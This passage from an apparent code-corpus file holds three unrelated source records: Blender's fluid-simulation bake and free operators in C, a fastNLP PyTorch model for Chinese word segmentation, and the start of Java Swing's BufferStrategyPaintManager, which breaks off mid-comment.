*name;\n\n struct Main *bmain;\n Scene *scene;\n Depsgraph *depsgraph;\n Object *ob;\n\n FluidModifierData *mmd;\n\n int success;\n double start;\n\n int *pause_frame;\n} FluidJob;\n\nstatic inline bool fluid_is_bake_all(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_BAKE_ALL));\n}\nstatic inline bool fluid_is_bake_data(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_BAKE_DATA));\n}\nstatic inline bool fluid_is_bake_noise(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_BAKE_NOISE));\n}\nstatic inline bool fluid_is_bake_mesh(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_BAKE_MESH));\n}\nstatic inline bool fluid_is_bake_particle(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_BAKE_PARTICLES));\n}\nstatic inline bool fluid_is_bake_guiding(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_BAKE_GUIDING));\n}\nstatic inline bool fluid_is_free_all(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_FREE_ALL));\n}\nstatic inline bool fluid_is_free_data(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_FREE_DATA));\n}\nstatic inline bool fluid_is_free_noise(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_FREE_NOISE));\n}\nstatic inline bool fluid_is_free_mesh(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_FREE_MESH));\n}\nstatic inline bool fluid_is_free_particles(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_FREE_PARTICLES));\n}\nstatic inline bool fluid_is_free_guiding(FluidJob *job) {\n return (STREQ(job->type, FLUID_JOB_FREE_GUIDING));\n}\n\nstatic bool fluid_initjob(\n bContext *C, FluidJob *job, wmOperator *op, char *error_msg, int error_size)\n{\n FluidModifierData *mmd = NULL;\n FluidDomainSettings *mds;\n Object *ob = CTX_data_active_object(C);\n\n mmd = (FluidModifierData *)modifiers_findByType(ob, eModifierType_Fluid);\n if (!mmd) {\n BLI_strncpy(error_msg, N_(\"Bake failed: no Fluid modifier found\"), error_size);\n return false;\n }\n mds = mmd->domain;\n if (!mds) {\n BLI_strncpy(error_msg, N_(\"Bake failed: invalid domain\"), error_size);\n return false;\n }\n\n job->bmain = CTX_data_main(C);\n job->scene = CTX_data_scene(C);\n job->depsgraph = CTX_data_depsgraph_pointer(C);\n job->ob = CTX_data_active_object(C);\n job->mmd = mmd;\n job->type = op->type->idname;\n job->name = op->type->name;\n\n return true;\n}\n\nstatic bool fluid_initpaths(FluidJob *job, ReportList *reports)\n{\n FluidDomainSettings *mds = job->mmd->domain;\n char tmpDir[FILE_MAX];\n tmpDir[0] = '\\0';\n\n const char *relbase = modifier_path_relbase(job->bmain, job->ob);\n\n /* We do not accept empty paths, they can end in random places silently, see T51176. */\n if (mds->cache_directory[0] == '\\0') {\n modifier_path_init(\n mds->cache_directory, sizeof(mds->cache_directory), FLUID_DOMAIN_DIR_DEFAULT);\n BKE_reportf(reports,\n RPT_WARNING,\n \"Fluid: Empty cache path, reset to default '%s'\",\n mds->cache_directory);\n }\n\n BLI_strncpy(tmpDir, mds->cache_directory, FILE_MAXDIR);\n BLI_path_abs(tmpDir, relbase);\n\n /* Ensure whole path exists */\n const bool dir_exists = BLI_dir_create_recursive(tmpDir);\n\n /* We change path to some presumably valid default value, but do not allow bake process to\n * continue, this gives user chance to set manually another path. */\n if (!dir_exists) {\n modifier_path_init(\n mds->cache_directory, sizeof(mds->cache_directory), FLUID_DOMAIN_DIR_DEFAULT);\n\n BKE_reportf(reports,\n RPT_ERROR,\n \"Fluid: Could not create cache directory '%s', reset to default '%s'\",\n tmpDir,\n mds->cache_directory);\n\n BLI_strncpy(tmpDir, mds->cache_directory, FILE_MAXDIR);\n BLI_path_abs(tmpDir, relbase);\n\n /* Ensure whole path exists and is writable. */\n if (!BLI_dir_create_recursive(tmpDir)) {\n BKE_reportf(reports,\n RPT_ERROR,\n \"Fluid: Could not use default cache directory '%s', \"\n \"please define a valid cache path manually\",\n tmpDir);\n }\n /* Copy final dir back into domain settings */\n BLI_strncpy(mds->cache_directory, tmpDir, FILE_MAXDIR);\n\n return false;\n }\n\n /* Copy final dir back into domain settings */\n BLI_strncpy(mds->cache_directory, tmpDir, FILE_MAXDIR);\n return true;\n}\n\nstatic void fluid_bake_free(void *customdata)\n{\n FluidJob *job = customdata;\n MEM_freeN(job);\n}\n\nstatic void fluid_bake_sequence(FluidJob *job)\n{\n FluidDomainSettings *mds = job->mmd->domain;\n Scene *scene = job->scene;\n int frame = 1, orig_frame;\n int frames;\n int *pause_frame = NULL;\n bool is_first_frame;\n\n frames = mds->cache_frame_end - mds->cache_frame_start + 1;\n\n if (frames <= 0) {\n BLI_strncpy(mds->error, N_(\"No frames to bake\"), sizeof(mds->error));\n return;\n }\n\n /* Show progress bar. */\n if (job->do_update)\n *(job->do_update) = true;\n\n /* Get current pause frame (pointer) - depending on bake type */\n pause_frame = job->pause_frame;\n\n /* Set frame to start point (depending on current pause frame value) */\n is_first_frame = ((*pause_frame) == 0);\n frame = is_first_frame ? mds->cache_frame_start : (*pause_frame);\n\n /* Save orig frame and update scene frame */\n orig_frame = CFRA;\n CFRA = frame;\n\n /* Loop through selected frames */\n for (; frame <= mds->cache_frame_end; frame++) {\n const float progress = (frame - mds->cache_frame_start) / (float)frames;\n\n /* Keep track of pause frame - needed to init future loop */\n (*pause_frame) = frame;\n\n /* If user requested stop, quit baking */\n if (G.is_break) {\n job->success = 0;\n return;\n }\n\n /* Update progress bar */\n if (job->do_update)\n *(job->do_update) = true;\n if (job->progress)\n *(job->progress) = progress;\n\n CFRA = frame;\n\n /* Update animation system */\n ED_update_for_newframe(job->bmain, job->depsgraph);\n }\n\n /* Restore frame position that we were on before bake */\n CFRA = orig_frame;\n}\n\nstatic void fluid_bake_endjob(void *customdata)\n{\n FluidJob *job = customdata;\n FluidDomainSettings *mds = job->mmd->domain;\n\n if (fluid_is_bake_noise(job) || fluid_is_bake_all(job)) {\n mds->cache_flag &= ~FLUID_DOMAIN_BAKING_NOISE;\n mds->cache_flag |= FLUID_DOMAIN_BAKED_NOISE;\n mds->cache_flag &= ~FLUID_DOMAIN_OUTDATED_NOISE;\n }\n if (fluid_is_bake_mesh(job) || fluid_is_bake_all(job)) {\n mds->cache_flag &= ~FLUID_DOMAIN_BAKING_MESH;\n mds->cache_flag |= FLUID_DOMAIN_BAKED_MESH;\n mds->cache_flag &= ~FLUID_DOMAIN_OUTDATED_MESH;\n }\n if (fluid_is_bake_particle(job) || fluid_is_bake_all(job)) {\n mds->cache_flag &= ~FLUID_DOMAIN_BAKING_PARTICLES;\n mds->cache_flag |= FLUID_DOMAIN_BAKED_PARTICLES;\n mds->cache_flag &= ~FLUID_DOMAIN_OUTDATED_PARTICLES;\n }\n if (fluid_is_bake_guiding(job) || fluid_is_bake_all(job)) {\n mds->cache_flag &= ~FLUID_DOMAIN_BAKING_GUIDING;\n mds->cache_flag |= FLUID_DOMAIN_BAKED_GUIDING;\n mds->cache_flag &= ~FLUID_DOMAIN_OUTDATED_GUIDING;\n }\n if (fluid_is_bake_data(job) || fluid_is_bake_all(job)) {\n mds->cache_flag &= ~FLUID_DOMAIN_BAKING_DATA;\n mds->cache_flag |= FLUID_DOMAIN_BAKED_DATA;\n mds->cache_flag &= ~FLUID_DOMAIN_OUTDATED_DATA;\n }\n DEG_id_tag_update(&job->ob->id, ID_RECALC_GEOMETRY);\n\n G.is_rendering = false;\n BKE_spacedata_draw_locks(false);\n WM_set_locked_interface(G_MAIN->wm.first, false);\n\n /* Bake was successful:\n * Report for ended bake and how long it took */\n if (job->success) {\n /* Show bake info */\n WM_reportf(RPT_INFO,\n \"Fluid: %s complete! (%.2f)\",\n job->name,\n PIL_check_seconds_timer() - job->start);\n }\n else {\n if (mds->error != NULL && mds->error[0] != '\\0') {\n WM_reportf(RPT_ERROR, \"Fluid: %s failed: %s\", job->name, mds->error);\n }\n else { /* User canceled the bake */\n WM_reportf(RPT_WARNING, \"Fluid: %s canceled!\", job->name);\n }\n }\n}\n\nstatic void fluid_bake_startjob(void *customdata, short *stop, short *do_update, float *progress)\n{\n FluidJob *job = customdata;\n FluidDomainSettings *mds = job->mmd->domain;\n\n char tmpDir[FILE_MAX];\n tmpDir[0] = '\\0';\n\n job->stop = stop;\n job->do_update = do_update;\n job->progress = progress;\n job->start = PIL_check_seconds_timer();\n job->success = 1;\n\n G.is_break = false;\n G.is_rendering = true;\n BKE_spacedata_draw_locks(true);\n\n if (fluid_is_bake_noise(job) || fluid_is_bake_all(job)) {\n tmpDir[0] = '\\0';\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_NOISE, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'noise' subdir if it does not exist already */\n mds->cache_flag &= ~(FLUID_DOMAIN_BAKED_NOISE | FLUID_DOMAIN_OUTDATED_NOISE);\n mds->cache_flag |= FLUID_DOMAIN_BAKING_NOISE;\n job->pause_frame = &mds->cache_frame_pause_noise;\n }\n if (fluid_is_bake_mesh(job) || fluid_is_bake_all(job)) {\n tmpDir[0] = '\\0';\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_MESH, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'mesh' subdir if it does not exist already */\n mds->cache_flag &= ~(FLUID_DOMAIN_BAKED_MESH | FLUID_DOMAIN_OUTDATED_MESH);\n mds->cache_flag |= FLUID_DOMAIN_BAKING_MESH;\n job->pause_frame = &mds->cache_frame_pause_mesh;\n }\n if (fluid_is_bake_particle(job) || fluid_is_bake_all(job)) {\n tmpDir[0] = '\\0';\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_PARTICLES, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'particles' subdir if it does not exist already */\n mds->cache_flag &= ~(FLUID_DOMAIN_BAKED_PARTICLES | FLUID_DOMAIN_OUTDATED_PARTICLES);\n mds->cache_flag |= FLUID_DOMAIN_BAKING_PARTICLES;\n job->pause_frame = &mds->cache_frame_pause_particles;\n }\n if (fluid_is_bake_guiding(job) || fluid_is_bake_all(job)) {\n tmpDir[0] = '\\0';\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_GUIDING, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'guiding' subdir if it does not exist already */\n mds->cache_flag &= ~(FLUID_DOMAIN_BAKED_GUIDING | FLUID_DOMAIN_OUTDATED_GUIDING);\n mds->cache_flag |= FLUID_DOMAIN_BAKING_GUIDING;\n job->pause_frame = &mds->cache_frame_pause_guiding;\n }\n if (fluid_is_bake_data(job) || fluid_is_bake_all(job)) {\n tmpDir[0] = '\\0';\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_CONFIG, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'config' subdir if it does not exist already */\n tmpDir[0] = '\\0';\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_DATA, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'data' subdir if it does not exist already */\n mds->cache_flag &= ~(FLUID_DOMAIN_BAKED_DATA | FLUID_DOMAIN_OUTDATED_DATA);\n mds->cache_flag |= FLUID_DOMAIN_BAKING_DATA;\n job->pause_frame = &mds->cache_frame_pause_data;\n\n if (mds->flags & FLUID_DOMAIN_EXPORT_MANTA_SCRIPT) {\n BLI_path_join(tmpDir, sizeof(tmpDir), mds->cache_directory, FLUID_DOMAIN_DIR_SCRIPT, NULL);\n BLI_dir_create_recursive(tmpDir); /* Create 'script' subdir if it does not exist already */\n }\n }\n DEG_id_tag_update(&job->ob->id, ID_RECALC_GEOMETRY);\n\n fluid_bake_sequence(job);\n\n if (do_update)\n *do_update = true;\n if (stop)\n *stop = 0;\n}\n\nstatic void fluid_free_endjob(void *customdata)\n{\n FluidJob *job = customdata;\n FluidDomainSettings *mds = job->mmd->domain;\n\n G.is_rendering = false;\n BKE_spacedata_draw_locks(false);\n WM_set_locked_interface(G_MAIN->wm.first, false);\n\n /* Free was successful:\n * Report for ended free job and how long it took */\n if (job->success) {\n /* Show free job info */\n WM_reportf(RPT_INFO,\n \"Fluid: %s complete! (%.2f)\",\n job->name,\n PIL_check_seconds_timer() - job->start);\n }\n else {\n if (mds->error != NULL && mds->error[0] != '\\0') {\n WM_reportf(RPT_ERROR, \"Fluid: %s failed: %s\", job->name, mds->error);\n }\n else { /* User canceled the free job */\n WM_reportf(RPT_WARNING, \"Fluid: %s canceled!\", job->name);\n }\n }\n}\n\nstatic void fluid_free_startjob(void *customdata, short *stop, short *do_update, float *progress)\n{\n FluidJob *job = customdata;\n FluidDomainSettings *mds = job->mmd->domain;\n Scene *scene = job->scene;\n\n char tmpDir[FILE_MAX];\n tmpDir[0] = '\\0';\n\n job->stop = stop;\n job->do_update = do_update;\n job->progress = progress;\n job->start = PIL_check_seconds_timer();\n job->success = 1;\n\n G.is_break = false;\n G.is_rendering = true;\n BKE_spacedata_draw_locks(true);\n\n int cache_map = 0;\n\n if (fluid_is_free_data(job) || fluid_is_free_all(job)) {\n cache_map |= (FLUID_DOMAIN_OUTDATED_DATA | FLUID_DOMAIN_OUTDATED_NOISE |\n FLUID_DOMAIN_OUTDATED_MESH | FLUID_DOMAIN_OUTDATED_PARTICLES);\n }\n if (fluid_is_free_noise(job) || fluid_is_free_all(job)) {\n cache_map |= FLUID_DOMAIN_OUTDATED_NOISE;\n }\n if (fluid_is_free_mesh(job) || fluid_is_free_all(job)) {\n cache_map |= FLUID_DOMAIN_OUTDATED_MESH;\n }\n if (fluid_is_free_particles(job) || fluid_is_free_all(job)) {\n cache_map |= FLUID_DOMAIN_OUTDATED_PARTICLES;\n }\n if (fluid_is_free_guiding(job) || fluid_is_free_all(job)) {\n cache_map |= FLUID_DOMAIN_OUTDATED_GUIDING;\n }\n BKE_fluid_cache_free(mds, job->ob, cache_map);\n\n *do_update = true;\n *stop = 0;\n\n /* Reset scene frame to cache frame start */\n CFRA = mds->cache_frame_start;\n\n /* Update scene so that viewport shows freed up scene */\n ED_update_for_newframe(job->bmain, job->depsgraph);\n}\n\n/***************************** Operators ******************************/\n\nstatic int fluid_bake_exec(struct bContext *C, struct wmOperator *op)\n{\n FluidJob *job = MEM_mallocN(sizeof(FluidJob), \"FluidJob\");\n char error_msg[256] = \"\\0\";\n\n if (!fluid_initjob(C, job, op, error_msg, sizeof(error_msg))) {\n if (error_msg[0]) {\n BKE_report(op->reports, RPT_ERROR, error_msg);\n }\n fluid_bake_free(job);\n return OPERATOR_CANCELLED;\n }\n if (!fluid_initpaths(job, op->reports)) {\n return OPERATOR_CANCELLED;\n }\n fluid_bake_startjob(job, NULL, NULL, NULL);\n fluid_bake_endjob(job);\n fluid_bake_free(job);\n\n return OPERATOR_FINISHED;\n}\n\nstatic int fluid_bake_invoke(struct bContext *C,\n struct wmOperator *op,\n const wmEvent *UNUSED(_event))\n{\n Scene *scene = CTX_data_scene(C);\n FluidJob *job = MEM_mallocN(sizeof(FluidJob), \"FluidJob\");\n char error_msg[256] = \"\\0\";\n\n if (!fluid_initjob(C, job, op, error_msg, sizeof(error_msg))) {\n if (error_msg[0]) {\n BKE_report(op->reports, RPT_ERROR, error_msg);\n }\n fluid_bake_free(job);\n return OPERATOR_CANCELLED;\n }\n\n if (!fluid_initpaths(job, op->reports)) {\n return OPERATOR_CANCELLED;\n }\n\n wmJob *wm_job = WM_jobs_get(CTX_wm_manager(C),\n CTX_wm_window(C),\n scene,\n \"Fluid Bake\",\n WM_JOB_PROGRESS,\n WM_JOB_TYPE_OBJECT_SIM_FLUID);\n\n WM_jobs_customdata_set(wm_job, job, fluid_bake_free);\n WM_jobs_timer(wm_job, 0.01, NC_OBJECT | ND_MODIFIER, NC_OBJECT | ND_MODIFIER);\n WM_jobs_callbacks(wm_job, fluid_bake_startjob, NULL, NULL, fluid_bake_endjob);\n\n WM_set_locked_interface(CTX_wm_manager(C), true);\n\n WM_jobs_start(CTX_wm_manager(C), wm_job);\n WM_event_add_modal_handler(C, op);\n\n return OPERATOR_RUNNING_MODAL;\n}\n\nstatic int fluid_bake_modal(bContext *C, wmOperator *UNUSED(op), const wmEvent *event)\n{\n /* no running blender, remove handler and pass through */\n if (0 == WM_jobs_test(CTX_wm_manager(C), CTX_data_scene(C), WM_JOB_TYPE_OBJECT_SIM_FLUID))\n return OPERATOR_FINISHED | OPERATOR_PASS_THROUGH;\n\n switch (event->type) {\n case ESCKEY:\n return OPERATOR_RUNNING_MODAL;\n }\n return OPERATOR_PASS_THROUGH;\n}\n\nstatic int fluid_free_exec(struct bContext *C, struct wmOperator *op)\n{\n FluidModifierData *mmd = NULL;\n FluidDomainSettings *mds;\n Object *ob = CTX_data_active_object(C);\n Scene *scene = CTX_data_scene(C);\n\n /*\n * Get modifier data\n */\n mmd = (FluidModifierData *)modifiers_findByType(ob, eModifierType_Fluid);\n if (!mmd) {\n BKE_report(op->reports, RPT_ERROR, \"Bake free failed: no Fluid modifier found\");\n return OPERATOR_CANCELLED;\n }\n mds = mmd->domain;\n if (!mds) {\n BKE_report(op->reports, RPT_ERROR, \"Bake free failed: invalid domain\");\n return OPERATOR_CANCELLED;\n }\n\n /* Cannot free data if other bakes currently working */\n if (mmd->domain->cache_flag & (FLUID_DOMAIN_BAKING_DATA | FLUID_DOMAIN_BAKING_NOISE |\n FLUID_DOMAIN_BAKING_MESH | FLUID_DOMAIN_BAKING_PARTICLES)) {\n BKE_report(op->reports, RPT_ERROR, \"Bake free failed: pending bake jobs found\");\n return OPERATOR_CANCELLED;\n }\n\n FluidJob *job = MEM_mallocN(sizeof(FluidJob), \"FluidJob\");\n job->bmain = CTX_data_main(C);\n job->scene = scene;\n job->depsgraph = CTX_data_depsgraph_pointer(C);\n job->ob = ob;\n job->mmd = mmd;\n job->type = op->type->idname;\n job->name = op->type->name;\n\n if (!fluid_initpaths(job, op->reports)) {\n return OPERATOR_CANCELLED;\n }\n\n wmJob *wm_job = WM_jobs_get(CTX_wm_manager(C),\n CTX_wm_window(C),\n scene,\n \"Fluid Free\",\n WM_JOB_PROGRESS,\n WM_JOB_TYPE_OBJECT_SIM_FLUID);\n\n WM_jobs_customdata_set(wm_job, job, fluid_bake_free);\n WM_jobs_timer(wm_job, 0.01, NC_OBJECT | ND_MODIFIER, NC_OBJECT | ND_MODIFIER);\n WM_jobs_callbacks(wm_job, fluid_free_startjob, NULL, NULL, fluid_free_endjob);\n\n WM_set_locked_interface(CTX_wm_manager(C), true);\n\n /* Free Fluid Geometry */\n WM_jobs_start(CTX_wm_manager(C), wm_job);\n\n return OPERATOR_FINISHED;\n}\n\nstatic int fluid_pause_exec(struct bContext *C, struct wmOperator *op)\n{\n FluidModifierData *mmd = NULL;\n FluidDomainSettings *mds;\n Object *ob = CTX_data_active_object(C);\n\n /*\n * Get modifier data\n */\n mmd = (FluidModifierData *)modifiers_findByType(ob, eModifierType_Fluid);\n if (!mmd) {\n BKE_report(op->reports, RPT_ERROR, \"Bake free failed: no Fluid modifier found\");\n return OPERATOR_CANCELLED;\n }\n mds = mmd->domain;\n if (!mds) {\n BKE_report(op->reports, RPT_ERROR, \"Bake free failed: invalid domain\");\n return OPERATOR_CANCELLED;\n }\n\n G.is_break = true;\n\n return OPERATOR_FINISHED;\n}\n\nvoid FLUID_OT_bake_all(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Bake All\";\n ot->description = \"Bake Entire Fluid Simulation\";\n ot->idname = FLUID_JOB_BAKE_ALL;\n\n /* api callbacks */\n ot->exec = fluid_bake_exec;\n ot->invoke = fluid_bake_invoke;\n ot->modal = fluid_bake_modal;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_free_all(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Free All\";\n ot->description = \"Free Entire Fluid Simulation\";\n ot->idname = FLUID_JOB_FREE_ALL;\n\n /* api callbacks */\n ot->exec = fluid_free_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_bake_data(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Bake Data\";\n ot->description = \"Bake Fluid Data\";\n ot->idname = FLUID_JOB_BAKE_DATA;\n\n /* api callbacks */\n ot->exec = fluid_bake_exec;\n ot->invoke = fluid_bake_invoke;\n ot->modal = fluid_bake_modal;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_free_data(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Free Data\";\n ot->description = \"Free Fluid Data\";\n ot->idname = FLUID_JOB_FREE_DATA;\n\n /* api callbacks */\n ot->exec = fluid_free_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_bake_noise(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Bake Noise\";\n ot->description = \"Bake Fluid Noise\";\n ot->idname = FLUID_JOB_BAKE_NOISE;\n\n /* api callbacks */\n ot->exec = fluid_bake_exec;\n ot->invoke = fluid_bake_invoke;\n ot->modal = fluid_bake_modal;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_free_noise(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Free Noise\";\n ot->description = \"Free Fluid Noise\";\n ot->idname = FLUID_JOB_FREE_NOISE;\n\n /* api callbacks */\n ot->exec = fluid_free_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_bake_mesh(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Bake Mesh\";\n ot->description = \"Bake Fluid Mesh\";\n ot->idname = FLUID_JOB_BAKE_MESH;\n\n /* api callbacks */\n ot->exec = fluid_bake_exec;\n ot->invoke = fluid_bake_invoke;\n ot->modal = fluid_bake_modal;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_free_mesh(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Free Mesh\";\n ot->description = \"Free Fluid Mesh\";\n ot->idname = FLUID_JOB_FREE_MESH;\n\n /* api callbacks */\n ot->exec = fluid_free_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_bake_particles(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Bake Particles\";\n ot->description = \"Bake Fluid Particles\";\n ot->idname = FLUID_JOB_BAKE_PARTICLES;\n\n /* api callbacks */\n ot->exec = fluid_bake_exec;\n ot->invoke = fluid_bake_invoke;\n ot->modal = fluid_bake_modal;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_free_particles(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Free Particles\";\n ot->description = \"Free Fluid Particles\";\n ot->idname = FLUID_JOB_FREE_PARTICLES;\n\n /* api callbacks */\n ot->exec = fluid_free_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_bake_guiding(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Bake Guiding\";\n ot->description = \"Bake Fluid Guiding\";\n ot->idname = FLUID_JOB_BAKE_GUIDING;\n\n /* api callbacks */\n ot->exec = fluid_bake_exec;\n ot->invoke = fluid_bake_invoke;\n ot->modal = fluid_bake_modal;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_free_guiding(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Free Guiding\";\n ot->description = \"Free Fluid Guiding\";\n ot->idname = FLUID_JOB_FREE_GUIDING;\n\n /* api callbacks */\n ot->exec = fluid_free_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n\nvoid FLUID_OT_pause_bake(wmOperatorType *ot)\n{\n /* identifiers */\n ot->name = \"Pause Bake\";\n ot->description = \"Pause Bake\";\n ot->idname = FLUID_JOB_BAKE_PAUSE;\n\n /* api callbacks */\n ot->exec = fluid_pause_exec;\n ot->poll = ED_operator_object_active_editable;\n}\n"} +{"text": "from torch import nn\nimport torch\nfrom reproduction.sequence_labelling.cws.model.module import FeatureFunMax, SemiCRFShiftRelay\nfrom fastNLP.modules import LSTM\n\nclass ShiftRelayCWSModel(nn.Module):\n \"\"\"\n 该模型可以用于进行分词操作\n 包含两个方法,\n forward(chars, bigrams, seq_len) -> {'loss': batch_size,}\n predict(chars, bigrams) -> {'pred': batch_size x max_len, 'pred_mask': batch_size x max_len}\n pred是对当前segment的长度预测,pred_mask是仅在有预测的位置为1\n\n :param char_embed: 预训练的Embedding或者embedding的shape\n :param bigram_embed: 预训练的Embedding或者embedding的shape\n :param hidden_size: LSTM的隐藏层大小\n :param num_layers: LSTM的层数\n :param L: SemiCRFShiftRelay的segment大小\n :param num_bigram_per_char: 每个character对应的bigram的数量\n :param drop_p: Dropout的大小\n \"\"\"\n def __init__(self, char_embed, bigram_embed, hidden_size:int=400, num_layers:int=1, L:int=6, drop_p:float=0.2):\n super().__init__()\n self.char_embedding = char_embed\n self.bigram_embedding = bigram_embed\n self.lstm = LSTM(char_embed.embed_size+bigram_embed.embed_size, hidden_size // 2, num_layers=num_layers,\n bidirectional=True,\n batch_first=True)\n self.feature_fn = FeatureFunMax(hidden_size, L)\n self.semi_crf_relay = SemiCRFShiftRelay(L)\n self.feat_drop = nn.Dropout(drop_p)\n self.reset_param()\n\n def reset_param(self):\n for name, param in self.named_parameters():\n if 'embedding' in name:\n continue\n if 'bias_hh' in name:\n nn.init.constant_(param, 0)\n elif 'bias_ih' in name:\n nn.init.constant_(param, 1)\n elif len(param.size()) < 2:\n nn.init.uniform_(param, -0.1, 0.1)\n else:\n nn.init.xavier_uniform_(param)\n\n def get_feats(self, chars, bigrams, seq_len):\n chars = self.char_embedding(chars)\n bigrams = self.bigram_embedding(bigrams)\n chars = torch.cat([chars, bigrams], dim=-1)\n feats, _ = self.lstm(chars, seq_len)\n feats = self.feat_drop(feats)\n logits, relay_logits = self.feature_fn(feats)\n\n return logits, relay_logits\n\n def forward(self, chars, bigrams, relay_target, relay_mask, end_seg_mask, seq_len):\n logits, relay_logits = self.get_feats(chars, bigrams, seq_len)\n loss = self.semi_crf_relay(logits, relay_logits, relay_target, relay_mask, end_seg_mask, seq_len)\n return {'loss':loss}\n\n def predict(self, chars, bigrams, seq_len):\n logits, relay_logits = self.get_feats(chars, bigrams, seq_len)\n pred, pred_mask = self.semi_crf_relay.predict(logits, relay_logits, seq_len)\n return {'pred': pred, 'pred_mask': pred_mask}\n\n"} +{"text": "/*\n * Copyright (c) 2005, 2014, Oracle and/or its affiliates. All rights reserved.\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * This code is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License version 2 only, as\n * published by the Free Software Foundation. Oracle designates this\n * particular file as subject to the \"Classpath\" exception as provided\n * by Oracle in the LICENSE file that accompanied this code.\n *\n * This code is distributed in the hope that it will be useful, but WITHOUT\n * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License\n * version 2 for more details (a copy is included in the LICENSE file that\n * accompanied this code).\n *\n * You should have received a copy of the GNU General Public License version\n * 2 along with this work; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n *\n * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA\n * or visit www.oracle.com if you need additional information or have any\n * questions.\n */\npackage javax.swing;\n\nimport java.awt.*;\nimport java.awt.event.*;\nimport java.awt.image.*;\nimport java.lang.ref.WeakReference;\nimport java.util.*;\n\nimport com.sun.java.swing.SwingUtilities3;\nimport sun.awt.AWTAccessor;\n\nimport sun.awt.SubRegionShowable;\nimport sun.java2d.SunGraphics2D;\nimport sun.java2d.pipe.hw.ExtendedBufferCapabilities;\nimport sun.awt.SunToolkit;\nimport sun.util.logging.PlatformLogger;\n\n/**\n * A PaintManager implementation that uses a BufferStrategy for\n * rendering.\n *\n * @author Scott Violet\n */\nclass BufferStrategyPaintManager extends RepaintManager.PaintManager {\n //\n // All drawing is done to a BufferStrategy. At the end of painting\n // (endPaint) the region that was painted is flushed to the screen\n // (using BufferStrategy.show).\n //\n // PaintManager.show is overriden to show directly from the\n // BufferStrategy (when using blit), if successful true is\n // returned and a paint event will not be generated. To avoid\n // showing from the buffer while painting a locking scheme is\n // implemented. When beginPaint is invoked the field painting is\n // set to true. If painting is true and show is invoked we\n // immediately return false. This is done to avoid blocking the\n // toolkit thread while painting happens. In a similar way when\n // show is invoked the field showing is set to true, beginPaint\n // will then block until showing is true. This scheme ensures we\n // only ever have one thread using the BufferStrategy and it also\n // ensures the toolkit thread remains as responsive as possible.\n //\n // If we're using a flip strategy the contents of the backbuffer may\n // have changed and so show only attempts to show from the backbuffer\n // if we get a blit strategy.\n //\n\n private static final PlatformLogger LOGGER = PlatformLogger.getLogger(\n \"javax.swing.BufferStrategyPaintManager\");\n\n /**\n * List of BufferInfos. We don't use a Map primarily because\n * there are typically only a handful of top level components making\n * a Map overkill.\n */\n private ArrayList bufferInfos;\n\n /**\n * Indicates beginPaint has been invoked. This is\n * set to true for the life of beginPaint/endPaint pair.\n */\n private boolean painting;\n /**\n * Indicates we're in the process of showing. All painting, on the EDT,\n * is blocked while this is true.\n */\n private boolean showing;\n\n //\n // Region that we need to flush. When beginPaint is called these are\n // reset and any subsequent calls to paint/copyArea then update these\n // fields accordingly. When endPaint is called we then try and show\n // the accumulated region.\n // These fields are in the coordinate system of the root.\n 